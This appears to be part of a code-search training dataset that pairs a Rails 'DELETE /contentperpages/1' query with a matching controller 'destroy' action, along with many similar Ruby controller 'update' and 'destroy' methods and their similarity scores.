"def update\n # @page = Page.new(page_params)\n\n # @page.components.build\n # @page.update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page_section.update(cms_page_section_params)\n format.html { redirect_to @cms_page_section, notice: 'Page section was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page_section }\n else\n format.html { render :edit }\n format.json { render json: @cms_page_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pages_feature = Page.where(site_id: @site.id, published: true, feature_on_homepage: true).all\n @page_root = Page.where(site_id: @site.id).roots.all\n @title = @page.title\n respond_to do |format|\n session[:return_to] ||= request.referer\n if @page.update(page_params)\n format.html { redirect_to session.delete(:return_to), notice: 'Saved' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n if @page.update_attributes(params[:page])\n respond_to do |format|\n format.json {render json: @page, status: :created }\n format.xml {render xml: @page, status: :created}\n end\n \n else\n respond_to do |format|\n format.json {render json: @page.errors, status: :unprocessable_entity}\n format.xml {render xml: @page.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n # format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.html { redirect_to action: \"edit\", id: params[:id], notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = current_user.pages.find(params[:id])\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to page_path(@page) }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @pageable = polymorphic_parent\n @page = polymorphic_parent.pages.find(params[:id])\n authorize! :update, @page\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page.path, :notice => 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to page_path(@page), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:notice] = @page.errors.full_messages.to_sentence\n format.html { render action: 'edit' }\n format.json { render json: [@page.errors.full_messages.to_sentence], status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page_section.update(page_section_params)\n format.html { redirect_to @page_section,\n notice: t('shared.msgs.success_updated',\n obj: t('activerecord.models.page_section', count: 1)) }\n format.json { render :show, status: :ok, location: @page_section }\n else\n format.html { render :edit }\n format.json { render json: @page_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @extra_page.update(extra_pages_params)\n format.html { redirect_to @extra_page, notice: 'Your Extra Pages were successfully updated.' }\n format.json { render :show, status: :ok, location: @extra_page }\n else\n format.html { render :edit }\n format.json { render json: @extra_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n \n Rails.logger.info \"ID: #{params[:id]}\"\n Rails.logger.info \"BODY: #{params[:page][:body].inspect}\"\n\n # Convert <div> line breaks to <p>\n params[:page][:body] = params[:page][:body].gsub(/\\<div\\>/, '<p>')\n params[:page][:body] = params[:page][:body].gsub(/\\<\\/div\\>/, '</p>')\n params[:page][:body] = params[:page][:body].gsub(/\\<p\\>\\<br\\>\\<\\/p\\>/, '')\n params[:page][:body] = params[:page][:body].gsub(/\\<br\\>/, '')\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n Rails.logger.info \"UPDATED PAGE!\"\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :json => @page }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @structure_page = Structure::Page.find(params[:id])\n\n respond_to do |format|\n if @structure_page.update_attributes(params[:structure_page])\n format.html { redirect_to @structure_page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page_page.update(page_page_params)\n format.html { redirect_to @page_page, notice: 'Page page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page_page }\n else\n format.html { render :edit }\n format.json { render json: @page_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @page.update_attributes(params[:page])\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n else\n respond_to do |format|\n format.json { raise Palani::Api::InvalidUpdateOfRecordJSONException }\n format.xml { raise Palani::Api::InvalidUpdateOfRecordXMLException }\n end\n end\n end",
"def update\n @document_page = DocumentPage.find(params[:id])\n\n respond_to do |format|\n if @document_page.update_attributes(params[:document_page])\n format.html { redirect_to @document_page, notice: 'Document page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = @club.pages.find(params[:id])\n @page.parent_id = params[:page][:parent_id];\n @page.bns_parent_id = params[:page][:parent_id];\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Pages was successfully updated.'\n format.html { redirect_to(admin_club_page_path(@club, @page)) }\n format.xml { head :ok }\n else\n @pagelist = @club.all_pages\n @pagelist = @club.all_pages\n @pagelist -= @page.all_children << @page\n \n @page_title = \"Editing \" + @page.title\n @site_section = \"admin\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find_by_slug(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n @page.update_attribute('published_at', Time.now) if params[:commit] == 'Publish'\n @page.update_attribute('published_at', nil) if params[:commit] == 'Unpublish'\n \n if params[:commit] == 'Publish'\n format.html { redirect_to root_page_path(@page), notice: 'Page was successfully published.' }\n else\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully updated.' }\n end\n \n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def contentperpage_params\n params.require(:contentperpage).permit(:contentid, :subitemid)\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to admin_pages_path, notice: 'Page bien modifiée.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(update_page_params)\n format.html {}\n format.json {}\n\n render \"show\"\n else\n format.html { render \"show\", status: :not_acceptable }\n format.json { render json: @page.errors, status: :not_acceptable }\n end\n end\n end",
"def update\n\t\t@page = Page.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @page.update_attributes(params[:page])\n\t\t\t\tformat.html { redirect_to @page, notice: 'Boom, page updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @post.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\r\n @page = Page.find(params[:id])\r\n respond_to do |format|\r\n if @page.update_attributes(params[:page])\r\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\r\n format.json { head :no_content }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n File.open(target, \"w\") do |f|\r\n f.write(@page.html)\r\n end\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n restrict('allow only admins') or begin\n @page = Page.find_by_stub(params[:stub]) || Page.find_by_id(params[:id])\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to manage_pages_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors.to_xml }\n end\n end\n end\n end",
"def update_page_params\n params.require(:page).permit(:content, :url, :file)\n end",
"def update\n @content = Content.find(params[:id])\n\n if @content.update(content_params)\n head :no_content\n else\n render json: @content.errors, status: :unprocessable_entity\n end\n end",
"def edit\n\n # find page with given ID\n #@page = Page.find(params[:id])\n @page = Page.find_by_slug_or_id(params[:path], params[:id])\n\n if @page.nil?\n\n raise ActiveRecord::RecordNotFound\n\n else\n\n #retrieving layout id from params and assigning to a variable\n @layout = @page[\"layout_id\"]\n\n end # end if\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n #sends data in different formats\n respond_to do |format|\n\n format.html{render :template => 'mcms_pages/admin/pages/edit'}# edit.html.erb\n format.json { render json: @page }\n\n end # end respond_to block\n\n end",
"def update\n @article = Article.find(params[:id]) rescue (return redirect_to root_path)\n\n @created_pages = @article.pages.order('page_no')\n @page = nil\n @created_pages.each do |created_page|\n paras = params['page_' + created_page.id.to_s]\n if paras != nil\n created_page.update_attributes(sanitize_page_params(paras))\n end\n end\n\n if params[:file] != nil\n p \"abc\"\n @pages = []\n max_page_no = @article.pages.maximum('page_no')\n @page = @article.pages.build(\n :image=>params[:file],\n :page_no=> max_page_no.nil? ? 1 : max_page_no + 1\n )\n @page.broken = false\n @created = @page.save\n @pages.push @page\n else\n @urls = params[\"image-urls\"]\n @pages = []\n if @urls != '' and @urls != nil\n @urls = @urls.split(/\\n/)\n @urls.each do |url|\n begin\n max_page_no = @article.pages.maximum('page_no')\n @page = @article.pages.build(\n :image=>open(url),\n :citation=>url,\n :broken=>false,\n :page_no=> max_page_no.nil? ? 1 : max_page_no + 1\n )\n @created = @page.save\n @pages.push @page if @created\n rescue\n end\n end\n end\n end\n if params[:article] == nil\n return render :json => gen_update_json(@pages)\n end\n unless params[:article].key? :published\n params[:article][:published] = false\n end\n unless params[:article].key? :is_list\n params[:article][:is_list] = false\n end\n if !@article.published && params[:article][:published]\n params[:article][:publish_date] = Date.today\n end\n\n @article.update_attributes(article_params)\n return render :json => gen_update_json(@pages)\n end",
"def update\n authorize! :update, @page\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n # looking for a page with a specific id \n @pages = Page.find(params[:id])\n\n # updates with new information\n if @page.update(pages_params)\n redirect_to pages_path\n else \n render :edit \n end\n end",
"def update\n @content_page = ContentPage.find(params[:id])\n respond_to do |format|\n if @content_page.update_attributes(params[:content_page])\n @content_page.update_attributes :editing_user => nil, :started_editing_at => nil\n if params[:content_page] and params[:content_page][:category_ids].blank?\n @content_page.categories = []\n end\n if params[:new_category] and !params[:new_category].blank?\n cat = Category.find_or_create_by_name params[:new_category]\n @content_page.categories << cat\n @content_page.save\n end\n flash[:notice] = \"Page <em>#{@content_page.name}</em> was updated.\"\n format.html { redirect_to(@content_page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @content_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = @user.pages.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pages_dynamic_page = Pages::DynamicPage.find(params[:id])\n\n respond_to do |format|\n if @pages_dynamic_page.update_attributes(params[:pages_dynamic_page])\n format.html { redirect_to(@pages_dynamic_page, :notice => 'Dynamic page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pages_dynamic_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(pages_path, :notice => 'Page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @page.update(page_params)\n redirect_to admin_pages_path, notice: 'Страница успешно обновлена!'\n else\n render :edit\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tputs \"format: #{format.inspect}\"\n\t\t\tdata = page_params\n\t\t\tif data\n\t\t\t\tif @page.update(data)\n\t\t\t\t\tformat.html { redirect_to @page, notice: 'Page was successfully updated.' }\n\t\t\t\t\tformat.json { render :show, status: :ok, location: @page }\n\t\t\t\t\tformat.js {}\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :edit }\n\t\t\t\t\tformat.json { render json: @page.errors, status: :unprocessable_entity }\n\t\t\t\t\tformat.js {}\n\t\t\t\tend\n\t\t\telse\n\t\t\t\top = params[:op]\n\t\t\t\tcase op\n\t\t\t\t\twhen 'add_block'\n\t\t\t\t\t\t@after_id = params[:after_id]\n\t\t\t\t\t\t@after_part = params[:after_part]\n\t\t\t\t\t\t@block_type = params[:block_type]\n\t\t\t\t\t\t@part = @page.insert_part_after(@block_type, @after_part)\n\t\t\t\t#\t\t@journal_submission.sm_submit! # '1234567'\n\t\t\t\t\t\tformat.js { render 'pages/op/add_block' }\n\t\t\t\t\twhen 'remove_block'\n\t\t\t\t\t\t@block_id = params[:block_id]\n\t\t\t\t\t\t@page.remove_part(@block_id)\n\t\t\t\t\t\tformat.js { render 'pages/op/remove_block' }\n\t\t\t\t\twhen 'save_part_content'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\tcontent = params[:content]\n\t\t\t\t\t\t@page.save_part_content(@part_id, content)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_content' }\n\t\t\t\t\twhen 'save_part_config'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\t@part = @page.get_part @part_id\n\t\t\t\t\t\tconfig = params[:config]\n\t\t\t\t\t\tconfig = ActiveSupport::JSON.decode(config)\n\t\t\t\t\t\t@page.save_part_config(@part_id, config)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_config' }\n\t\t\t\t#\twhen 'revise'\n\t\t\t\tend\nputs params\n\t\t\tend\n\t\tend\n\tend",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @patch_jobs = args[:patch_jobs] if args.key?(:patch_jobs)\n end",
"def update\n respond_to do |format|\n if @pagemaster.update(pagemaster_params)\n format.html { redirect_to @pagemaster, notice: 'Pagemaster was successfully updated.' }\n format.json { render :show, status: :ok, location: @pagemaster }\n else\n format.html { render :edit }\n format.json { render json: @pagemaster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(admin_page_params)\n format.html { redirect_to admin_pages_url, notice: 'page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(options = {})\n\n # Ensure we get extracted_content as well\n options[:include_content] = true\n\n body = { :page => { :uri => self.uri, :options => options } }\n\n api_url = \"/collections/#{self.collection.attributes[:token]}/pages/#{self.identifier}\"\n response = @muddyit.send_request(api_url, :put, {}, body.to_json)\n return Muddyit::Collections::Collection::Pages::Page.new(@muddyit, response['page'].merge!(:collection => self.collection))\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to edit_admin_page_path(@page), notice: 'Page was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @book_page = @book.book_pages.find(params[:id])\n\n respond_to do |format|\n if @book_page.update_attributes(params[:book_page])\n format.html { redirect_to book_series_collection_book_book_page_url(@book_series, @collection, @book, @book_page), notice: 'Book page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n if @page.update(pages_params)\n redirect_to pages_path\n else\n render :edit\n end\n end",
"def update!(**args)\n @page_info = args[:page_info] if args.key?(:page_info)\n @request_id = args[:request_id] if args.key?(:request_id)\n @resources = args[:resources] if args.key?(:resources)\n @token_pagination = args[:token_pagination] if args.key?(:token_pagination)\n end",
"def update!(**args)\n @page_info = args[:page_info] unless args[:page_info].nil?\n @resources = args[:resources] unless args[:resources].nil?\n @token_pagination = args[:token_pagination] unless args[:token_pagination].nil?\n end",
"def edit\n @page = Page.find(params[:id])\n\n respond_to do |format|\n format.json {render json: @page}\n format.xml {render xml: @page}\n end\n end",
"def update\n authorize @page\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mypage = Mypage.find(params[:id])\n\n respond_to do |format|\n if @mypage.update_attributes(params[:mypage])\n format.html { redirect_to @mypage, notice: 'Mypage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mypage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Pages was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6984614",
"0.67693335",
"0.67587143",
"0.66510755",
"0.65030694",
"0.64939773",
"0.6458537",
"0.64460236",
"0.6378556",
"0.634167",
"0.6336183",
"0.6332773",
"0.63246524",
"0.63081795",
"0.62519807",
"0.6249785",
"0.6232803",
"0.62251186",
"0.6208463",
"0.61989087",
"0.6188696",
"0.61845386",
"0.6182978",
"0.6178897",
"0.6172082",
"0.6160461",
"0.6158942",
"0.61588293",
"0.6158527",
"0.6157782",
"0.6157782",
"0.61548334",
"0.61548334",
"0.6148791",
"0.6141375",
"0.61308366",
"0.6122154",
"0.6122154",
"0.61177033",
"0.6104827",
"0.6101489",
"0.60893446",
"0.60867506",
"0.6072446",
"0.60721564",
"0.6065473",
"0.6062155",
"0.60484403",
"0.6046386",
"0.6038964",
"0.6018119",
"0.6010148",
"0.60051185",
"0.6002708",
"0.5979313",
"0.5978725",
"0.5962666",
"0.5943712",
"0.5943314",
"0.5938356",
"0.59318835",
"0.59293455",
"0.59284866",
"0.59175307",
"0.59150714",
"0.59143144",
"0.58997685",
"0.58997685",
"0.58997685",
"0.58997685",
"0.58908427",
"0.5889158",
"0.58887166",
"0.58820915",
"0.5862709",
"0.5860094",
"0.58500254",
"0.58326507",
"0.5825283",
"0.5819537",
"0.5817013",
"0.5811821",
"0.5811786",
"0.5802922",
"0.57933474",
"0.57899064",
"0.5787527",
"0.5785381",
"0.5784085",
"0.57834697",
"0.5773536",
"0.57690746",
"0.57646036",
"0.57592124",
"0.574409",
"0.5742526",
"0.5735127",
"0.5733747",
"0.5730262",
"0.5729586"
] |
0.7100395
|
0
|
DELETE /contentperpages/1 DELETE /contentperpages/1.json
|
def destroy
@contentperpage.destroy
respond_to do |format|
format.html { redirect_to contentperpages_url, notice: 'Contentperpage was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_page(id)\n @client.raw('delete', \"/content/pages/#{id}\")\n end",
"def destroy\n @page = current_cms.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pagecount.destroy\n respond_to do |format|\n format.html { redirect_to pagecounts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Страница успешно удалена!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_chunk.destroy\n respond_to do |format|\n format.html { redirect_to page_chunks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pagecontent = @page.pagecontents.find(params[:id])\n @pagecontent.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_pagecontents_path(@page)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nested_page = Nested::Page.find(params[:id])\n @nested_page.destroy\n\n respond_to do |format|\n format.html { redirect_to nested_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n head :no_content\n end",
"def destroy\n @content_page = ContentPage.find(params[:id])\n @content_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(content_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pages_article = PagesArticle.find(params[:id])\n @pages_article.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_articles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_fetch = PageFetch.find(params[:id])\n @page_fetch.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_fetches_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @page = ComatosePage.find params[:id]\n if request.post?\n expire_cms_pages_from_bottom @page\n expire_cms_fragments_from_bottom @page\n @page.destroy\n flash[:notice] = \"Deleted page '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = current_site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_site_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.friendly.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: \"#{@cms_page.title} has been deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mypage = Mypage.find(params[:id])\n @mypage.destroy\n\n respond_to do |format|\n format.html { redirect_to mypages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = @chapter.pages.find_by_number(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to manga_chapter_url(@manga, @chapter) }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n # find the page with with\n @page = Page.find(params[:id])\n\n # calling class method of PagePart model to delete page parts of a page\n PagePart.delete_page_parts(@page)\n\n #destroy the page\n @page.destroy\n\n #sends in data in different format to index action\n respond_to do |format|\n\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n\n end # end respond_to block\n\n end",
"def destroy\r\n @page = Page.find(params[:id])\r\n @page.destroy\r\n File.delete(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n respond_to do |format|\r\n format.html { redirect_to pages_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, :notice => \"Successfully deleted page. #{undo_link}\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n end",
"def destroy\n @structure_page = Structure::Page.find(params[:id])\n @structure_page.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: 'Cms page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = current_site.pages.find_by_permalink(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @page = @user.pages.find_by_permalink(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cms_page.destroy\n respond_to do |format|\n format.html { redirect_to cms_pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to content_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_path(page: params[:page], type: params[:type]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @document_page = DocumentPage.find(params[:id])\n @document_page.destroy\n\n respond_to do |format|\n format.html { redirect_to document_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to all_pages_path(:magazine_id=>@page.magazine_id), notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_page = TestPage.find(params[:id])\n @test_page.destroy\n\n respond_to do |format|\n format.html { redirect_to test_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page, :status => :deleted, :location => pages_path)\n end",
"def destroy\n @page = Page.find_by_slug(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @oasis_page = OasisPage.find(params[:id])\n @oasis_page.destroy\n\n respond_to do |format|\n format.html { redirect_to oasis_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page_section.destroy\n respond_to do |format|\n format.html { redirect_to cms_page_sections_url, notice: 'Page section was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_page = CmsPage.find(params[:id])\n @cms_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pages_dynamic_page = Pages::DynamicPage.find(params[:id])\n @pages_dynamic_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_dynamic_pages_url) }\n format.xml { head :ok }\n end\n end",
